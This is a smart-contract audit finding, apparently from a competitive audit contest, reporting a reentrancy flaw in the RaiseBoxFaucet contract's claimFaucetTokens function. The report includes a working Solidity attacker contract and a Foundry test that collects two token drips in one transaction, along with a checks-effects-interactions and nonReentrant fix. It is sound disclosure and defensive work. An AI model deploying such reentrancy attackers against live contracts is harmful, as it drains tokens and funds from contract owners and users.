Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in claimFaucetTokens lets a user mint multiple token drips in one tx, bypassing the 3-day cooldown

Root + Impact

Description

claimFaucetTokens() sends Sepolia ETH to first-time claimers via a low-level call before updating critical state (lastClaimTime, dailyClaimCount). A malicious contract can re-enter through receive()/fallback(), executing the function twice in the same transaction. This results in double faucet token transfer and double daily claim count increment, while ETH drips only once (as hasClaimedEth flips true).

Root Cause

  • External call occurs before effects (violates Checks-Effects-Interactions).

  • Missing of nonReentrant modifier

  • Cooldown and counters are updated after the external call.

if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); <@ External call before effects -> reentrancy window
if (!success) revert RaiseBoxFaucet_EthTransferFailed();
}
// ... later
lastClaimTime[faucetClaimer] = block.timestamp; // cooldown updated after external call
dailyClaimCount++;

Risk

Likelihood:

  • Any externally-owned attacker can deploy a simple contract to claim; contracts are not blocked (only zero/faucet/owner are). On their first claim, ETH is attempted, opening the reentrancy window.

Impact:

  • Token inflation / rate-limit bypass: Attacker receives 2× faucetDrip in a single tx; cooldown is only applied after both transfers.

  • dailyClaimCount increments twice

Proof of Concept


Attacker Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {RaiseBoxFaucet} from "./RaiseBoxFaucet.sol";
contract AttackFaucet {
RaiseBoxFaucet public raiseBox;
constructor(address raiseBoxAddress) payable {
raiseBox = RaiseBoxFaucet(payable(raiseBoxAddress));
}
function attack() public {
raiseBox.claimFaucetTokens();
}
receive() external payable {
// Re-enter the claimFaucetTokens function to drain more Token
raiseBox.claimFaucetTokens();
}
fallback() external payable {
// Re-enter the claimFaucetTokens function to drain more Token
raiseBox.claimFaucetTokens();
}
}

Test function:

Paste this test function in your test file and run:

forge test test/RaiseBoxFaucet.t.sol --mt testReentrancy_DoubleToken -vvvv

function testReentrancy_DoubleToken() public {
// Deploy attacker
attackFaucet = new AttackFaucet(raiseBoxFaucetContractAddress);
// Ensure faucet has ETH so it will trigger the .receive() and re-enter
vm.prank(owner);
raiseBoxFaucet.refillSepEth{value: 1 ether}(1 ether);
// Snapshot balances
uint256 dripTokens = raiseBoxFaucet.faucetDrip(); // e.g., 1000e18
uint256 preTokens = raiseBoxFaucet.getBalance(address(attackFaucet));
// Act: triggers claim -> ETH send -> receive() -> reentrant claim
attackFaucet.attack();
// Assert: tokens transferred twice (initial + reentrant call)
uint256 postTokens = raiseBoxFaucet.getBalance(address(attackFaucet));
assertEq(postTokens - preTokens, dripTokens * 2, "Attacker should receive two token drips via reentrancy");
}

Recommended Mitigation

Please follow the Checks-Effects-Interactions (CEI) pattern and add a nonReentrant modifier.

- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.